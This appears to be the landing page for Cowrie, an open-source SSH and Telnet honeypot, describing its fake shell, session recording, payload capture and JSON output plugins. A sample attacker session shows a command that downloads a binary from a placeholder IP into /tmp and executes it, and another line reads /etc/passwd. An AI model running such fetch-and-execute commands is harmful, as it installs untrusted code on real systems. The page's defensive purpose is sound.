Open source · SSH and Telnet honeypot

Let attackers in.Record everything.

Cowrie pretends to be a vulnerable server. It logs brute-force logins, records every command attackers type, saves the malware they upload, and sends it all to your analysis tools as JSON.

Get StartedView on GitHub

Python · BSD license · maintained since 2014

ssh 198.51.100.23 → svr04:22
[email protected]'s password:
Last login: Thu Sep 11 09:14:02 2026 from 198.51.100.23
root@svr04:~# uname -a
Linux svr04 3.2.0-4-amd64 #1 SMP Debian 3.2.68-1+deb7u1 x86_64 GNU/Linux
root@svr04:~# cat /proc/cpuinfo | grep name | wc -l
1
root@svr04:~# cd /tmp; wget http://198.51.100.23/x86; chmod +x x86; ./x86
--2026-09-11 09:14:31--  http://198.51.100.23/x86
Connecting to 198.51.100.23:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 112640 (110K) [application/octet-stream]
Saving to: 'x86'

x86         100%[===================>] 110.00K  --.-KB/s    in 0.1s

root@svr04:/tmp#
cowrie.json
{"eventid": "cowrie.session.file_download", "src_ip": "198.51.100.23", "url": "http://198.51.100.23/x86", "shasum": "3f7a1c…9e2b", "outfile": "dl/3f7a1c…9e2b", "session": "d0c5a9b21e4f"}
What it does

A server that lies to attackers and tells you the truth

Cowrie is a medium to high interaction honeypot. It gives attackers enough to keep going and gives you a complete record of what they did.

A fake Debian box

Attackers land in an emulated shell with a fake filesystem. ls, cat, wget, busybox and dozens of other commands are imitated; nothing real is touched.

root@svr04:~# cat /etc/passwd

Every session recorded

Every keystroke and every byte of output is stored with timing. Replay a session later and watch exactly what the attacker saw.

bin/playlog var/lib/cowrie/tty/d0c5a9b21e4f.log

Payloads saved

Files fetched with wget or curl, or pushed with scp and sftp, are kept on disk and named by SHA-256 so duplicates collapse.

var/lib/cowrie/downloads/3f7a1c…9e2b

JSON for everything

Login attempts, commands, downloads, TCP forwards and session metadata are all emitted as JSON lines. Easy to grep, easy to ship.

{"eventid": "cowrie.login.failed", "username": "root"}

Output plugins

Send events straight to Elasticsearch, Splunk, MISP, Microsoft Sentinel, Graylog, MySQL, Slack and more. Enable a plugin in cowrie.cfg and restart.

[output_elasticsearch]
enabled = true

SSH, Telnet and proxy mode

Listens on SSH and Telnet. In proxy mode Cowrie forwards the session to a real backend and records it, for full high-interaction fidelity.

[ssh]
backend = proxy
Read the docsAll output plugins

Know your attackers.

Deploy Cowrie anywhere and start capturing attacks in minutes

Get Started